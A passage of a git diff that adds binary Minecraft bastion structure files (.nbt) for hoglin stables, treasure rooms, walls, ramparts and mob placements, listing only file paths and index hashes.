00000000..efa02a28 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_2.nbt new file mode 100644 index 00000000..b3086b05 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_3.nbt new file mode 100644 index 00000000..3e8b455e Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_4.nbt new file mode 100644 index 00000000..a365488c Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_2_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_0.nbt new file mode 100644 index 00000000..656f8922 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_1.nbt new file mode 100644 index 00000000..93aac91f Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_2.nbt new file mode 100644 index 00000000..4f496883 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_3.nbt new file mode 100644 index 00000000..043149cf Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_4.nbt new file mode 100644 index 00000000..d94e55de Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/stairs/stairs_3_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_0_mirrored.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_0_mirrored.nbt new file mode 100644 index 00000000..ff9066a4 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_0_mirrored.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_1_mirrored.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_1_mirrored.nbt new file mode 100644 index 00000000..d7060554 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_1_mirrored.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_2_mirrored.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_2_mirrored.nbt new file mode 100644 index 00000000..c3794595 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_2_mirrored.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_3_mirrored.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_3_mirrored.nbt new file mode 100644 index 00000000..d0f36a6d Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_3_mirrored.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_4_mirrored.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_4_mirrored.nbt new file mode 100644 index 00000000..9b00ae3b Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/stairs_4_mirrored.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_0.nbt new file mode 100644 index 00000000..0c9b5f9b Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_1.nbt new file mode 100644 index 00000000..72337359 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_2.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_2.nbt new file mode 100644 index 00000000..3bee6ccb Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_3.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_3.nbt new file mode 100644 index 00000000..8a0d5849 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_4.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_4.nbt new file mode 100644 index 00000000..4ce0cd89 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/starting_pieces/starting_stairs_4.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_0.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_0.nbt new file mode 100644 index 00000000..7dfcfc4d Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_1.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_1.nbt new file mode 100644 index 00000000..9c73e9bb Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/walls/side_wall_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/hoglin_stable/walls/wall_base.nbt b/src/data/minecraft/structures/bastion/hoglin_stable/walls/wall_base.nbt new file mode 100644 index 00000000..e621cf77 Binary files /dev/null and b/src/data/minecraft/structures/bastion/hoglin_stable/walls/wall_base.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/crossbow_piglin.nbt b/src/data/minecraft/structures/bastion/mobs/crossbow_piglin.nbt new file mode 100644 index 00000000..e75a4ccc Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/crossbow_piglin.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/empty.nbt b/src/data/minecraft/structures/bastion/mobs/empty.nbt new file mode 100644 index 00000000..1171bd04 Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/empty.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/hoglin.nbt b/src/data/minecraft/structures/bastion/mobs/hoglin.nbt new file mode 100644 index 00000000..0122d4e2 Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/hoglin.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/melee_piglin.nbt b/src/data/minecraft/structures/bastion/mobs/melee_piglin.nbt new file mode 100644 index 00000000..71e0ce41 Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/melee_piglin.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/melee_piglin_always.nbt b/src/data/minecraft/structures/bastion/mobs/melee_piglin_always.nbt new file mode 100644 index 00000000..596f9416 Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/melee_piglin_always.nbt differ diff --git a/src/data/minecraft/structures/bastion/mobs/sword_piglin.nbt b/src/data/minecraft/structures/bastion/mobs/sword_piglin.nbt new file mode 100644 index 00000000..c91059ee Binary files /dev/null and b/src/data/minecraft/structures/bastion/mobs/sword_piglin.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/bases/centers/center_0.nbt b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_0.nbt new file mode 100644 index 00000000..c9c25f6a Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/bases/centers/center_1.nbt b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_1.nbt new file mode 100644 index 00000000..580768db Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/bases/centers/center_2.nbt b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_2.nbt new file mode 100644 index 00000000..b61bdccf Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/bases/centers/center_3.nbt b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_3.nbt new file mode 100644 index 00000000..16d4334a Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/bases/centers/center_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/bases/lava_basin.nbt b/src/data/minecraft/structures/bastion/treasure/bases/lava_basin.nbt new file mode 100644 index 00000000..c4332f0a Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/bases/lava_basin.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/big_air_full.nbt b/src/data/minecraft/structures/bastion/treasure/big_air_full.nbt new file mode 100644 index 00000000..e65d9a9f Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/big_air_full.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/brains/center_brain.nbt b/src/data/minecraft/structures/bastion/treasure/brains/center_brain.nbt new file mode 100644 index 00000000..e3b8fb23 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/brains/center_brain.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_middle.nbt b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_middle.nbt new file mode 100644 index 00000000..250d42ab Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_middle.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top.nbt b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top.nbt new file mode 100644 index 00000000..9317e415 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top_entrance.nbt b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top_entrance.nbt new file mode 100644 index 00000000..aca62e19 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/connectors/center_to_wall_top_entrance.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_0.nbt b/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_0.nbt new file mode 100644 index 00000000..991a431c Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_1.nbt b/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_1.nbt new file mode 100644 index 00000000..cb47be30 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/bottom/corner_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/edges/bottom.nbt b/src/data/minecraft/structures/bastion/treasure/corners/edges/bottom.nbt new file mode 100644 index 00000000..6c228647 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/edges/bottom.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/edges/middle.nbt b/src/data/minecraft/structures/bastion/treasure/corners/edges/middle.nbt new file mode 100644 index 00000000..b0e4964c Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/edges/middle.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/edges/top.nbt b/src/data/minecraft/structures/bastion/treasure/corners/edges/top.nbt new file mode 100644 index 00000000..0636d328 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/edges/top.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_0.nbt b/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_0.nbt new file mode 100644 index 00000000..bdc03039 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_1.nbt b/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_1.nbt new file mode 100644 index 00000000..06f8d2a4 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/middle/corner_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/top/corner_0.nbt b/src/data/minecraft/structures/bastion/treasure/corners/top/corner_0.nbt new file mode 100644 index 00000000..aef51434 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/top/corner_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/corners/top/corner_1.nbt b/src/data/minecraft/structures/bastion/treasure/corners/top/corner_1.nbt new file mode 100644 index 00000000..0b1b2788 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/corners/top/corner_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/entrances/entrance_0.nbt b/src/data/minecraft/structures/bastion/treasure/entrances/entrance_0.nbt new file mode 100644 index 00000000..83b25dfe Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/entrances/entrance_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/empty.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/empty.nbt new file mode 100644 index 00000000..b6f7ccf4 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/empty.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/fire_room.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/fire_room.nbt new file mode 100644 index 00000000..cd72e6f5 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/fire_room.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/house_0.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/house_0.nbt new file mode 100644 index 00000000..3be2dee3 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/house_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/house_1.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/house_1.nbt new file mode 100644 index 00000000..f0716922 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/house_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_0.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_0.nbt new file mode 100644 index 00000000..7a8bf5fe Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_1.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_1.nbt new file mode 100644 index 00000000..0d44a5fb Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_2.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_2.nbt new file mode 100644 index 00000000..d0f34b54 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_3.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_3.nbt new file mode 100644 index 00000000..7b0f80a3 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/large_bridge_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/roofed_bridge.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/roofed_bridge.nbt new file mode 100644 index 00000000..f7126a82 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/roofed_bridge.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_0.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_0.nbt new file mode 100644 index 00000000..0e3f9dbc Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_1.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_1.nbt new file mode 100644 index 00000000..e96d1a39 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_2.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_2.nbt new file mode 100644 index 00000000..2ebbc725 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_3.nbt b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_3.nbt new file mode 100644 index 00000000..0933d1f6 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/extensions/small_bridge_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/bottom_wall_0.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/bottom_wall_0.nbt new file mode 100644 index 00000000..d33c254d Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/bottom_wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_main.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_main.nbt new file mode 100644 index 00000000..84e16519 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_main.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_side.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_side.nbt new file mode 100644 index 00000000..56efda8c Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/lava_basin_side.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_main.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_main.nbt new file mode 100644 index 00000000..6321a9cf Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_main.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_side.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_side.nbt new file mode 100644 index 00000000..ab9f3ca7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/mid_wall_side.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/ramparts/top_wall.nbt b/src/data/minecraft/structures/bastion/treasure/ramparts/top_wall.nbt new file mode 100644 index 00000000..22d30ed3 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/ramparts/top_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/roofs/center_roof.nbt b/src/data/minecraft/structures/bastion/treasure/roofs/center_roof.nbt new file mode 100644 index 00000000..42de87a2 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/roofs/center_roof.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/roofs/corner_roof.nbt b/src/data/minecraft/structures/bastion/treasure/roofs/corner_roof.nbt new file mode 100644 index 00000000..75db99e2 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/roofs/corner_roof.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/roofs/wall_roof.nbt b/src/data/minecraft/structures/bastion/treasure/roofs/wall_roof.nbt new file mode 100644 index 00000000..daa960b1 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/roofs/wall_roof.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/stairs/lower_stairs.nbt b/src/data/minecraft/structures/bastion/treasure/stairs/lower_stairs.nbt new file mode 100644 index 00000000..afd96007 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/stairs/lower_stairs.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_0.nbt b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_0.nbt new file mode 100644 index 00000000..86588776 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_1.nbt b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_1.nbt new file mode 100644 index 00000000..fd878c74 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_2.nbt b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_2.nbt new file mode 100644 index 00000000..ae6e69e7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_3.nbt b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_3.nbt new file mode 100644 index 00000000..2bd06589 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/bottom/wall_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/entrance_wall.nbt b/src/data/minecraft/structures/bastion/treasure/walls/entrance_wall.nbt new file mode 100644 index 00000000..ce0d7ffb Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/entrance_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/lava_wall.nbt b/src/data/minecraft/structures/bastion/treasure/walls/lava_wall.nbt new file mode 100644 index 00000000..dc7a3d6b Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/lava_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_0.nbt b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_0.nbt new file mode 100644 index 00000000..5e13ea80 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_1.nbt b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_1.nbt new file mode 100644 index 00000000..e35e7bc5 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_2.nbt b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_2.nbt new file mode 100644 index 00000000..ec3c417a Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/mid/wall_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/bottom_corner.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/bottom_corner.nbt new file mode 100644 index 00000000..eba7b5d7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/bottom_corner.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/medium_outer_wall.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/medium_outer_wall.nbt new file mode 100644 index 00000000..aeabcd05 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/medium_outer_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/mid_corner.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/mid_corner.nbt new file mode 100644 index 00000000..6fe7bd1f Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/mid_corner.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/outer_wall.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/outer_wall.nbt new file mode 100644 index 00000000..34296ade Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/outer_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/tall_outer_wall.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/tall_outer_wall.nbt new file mode 100644 index 00000000..e8d951d8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/tall_outer_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/outer/top_corner.nbt b/src/data/minecraft/structures/bastion/treasure/walls/outer/top_corner.nbt new file mode 100644 index 00000000..302716e8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/outer/top_corner.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/top/main_entrance.nbt b/src/data/minecraft/structures/bastion/treasure/walls/top/main_entrance.nbt new file mode 100644 index 00000000..f3a38079 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/top/main_entrance.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/top/wall_0.nbt b/src/data/minecraft/structures/bastion/treasure/walls/top/wall_0.nbt new file mode 100644 index 00000000..021675e1 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/top/wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/treasure/walls/top/wall_1.nbt b/src/data/minecraft/structures/bastion/treasure/walls/top/wall_1.nbt new file mode 100644 index 00000000..f18aad20 Binary files /dev/null and b/src/data/minecraft/structures/bastion/treasure/walls/top/wall_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/air_base.nbt b/src/data/minecraft/structures/bastion/units/air_base.nbt new file mode 100644 index 00000000..f73eab98 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/air_base.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/center_pieces/center_0.nbt b/src/data/minecraft/structures/bastion/units/center_pieces/center_0.nbt new file mode 100644 index 00000000..d5f728b4 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/center_pieces/center_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/center_pieces/center_1.nbt b/src/data/minecraft/structures/bastion/units/center_pieces/center_1.nbt new file mode 100644 index 00000000..567974b5 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/center_pieces/center_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/center_pieces/center_2.nbt b/src/data/minecraft/structures/bastion/units/center_pieces/center_2.nbt new file mode 100644 index 00000000..673d966c Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/center_pieces/center_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/edges/edge_0.nbt b/src/data/minecraft/structures/bastion/units/edges/edge_0.nbt new file mode 100644 index 00000000..63c958cc Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/edges/edge_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/fillers/stage_0.nbt b/src/data/minecraft/structures/bastion/units/fillers/stage_0.nbt new file mode 100644 index 00000000..bf263fe6 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/fillers/stage_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/pathways/pathway_0.nbt b/src/data/minecraft/structures/bastion/units/pathways/pathway_0.nbt new file mode 100644 index 00000000..6919b06e Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/pathways/pathway_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/pathways/pathway_wall_0.nbt b/src/data/minecraft/structures/bastion/units/pathways/pathway_wall_0.nbt new file mode 100644 index 00000000..aa66027c Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/pathways/pathway_wall_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/rampart_plates/plate_0.nbt b/src/data/minecraft/structures/bastion/units/rampart_plates/plate_0.nbt new file mode 100644 index 00000000..1b4b5f2c Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/rampart_plates/plate_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/ramparts/ramparts_0.nbt b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_0.nbt new file mode 100644 index 00000000..dadf97fd Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/ramparts/ramparts_1.nbt b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_1.nbt new file mode 100644 index 00000000..207dc9d7 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/ramparts/ramparts_2.nbt b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_2.nbt new file mode 100644 index 00000000..5212b341 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/ramparts/ramparts_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/rot/stage_1_0.nbt b/src/data/minecraft/structures/bastion/units/stages/rot/stage_1_0.nbt new file mode 100644 index 00000000..65df3b5c Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/rot/stage_1_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_0_0.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_0_0.nbt new file mode 100644 index 00000000..1542ae83 Binary files /dev/null 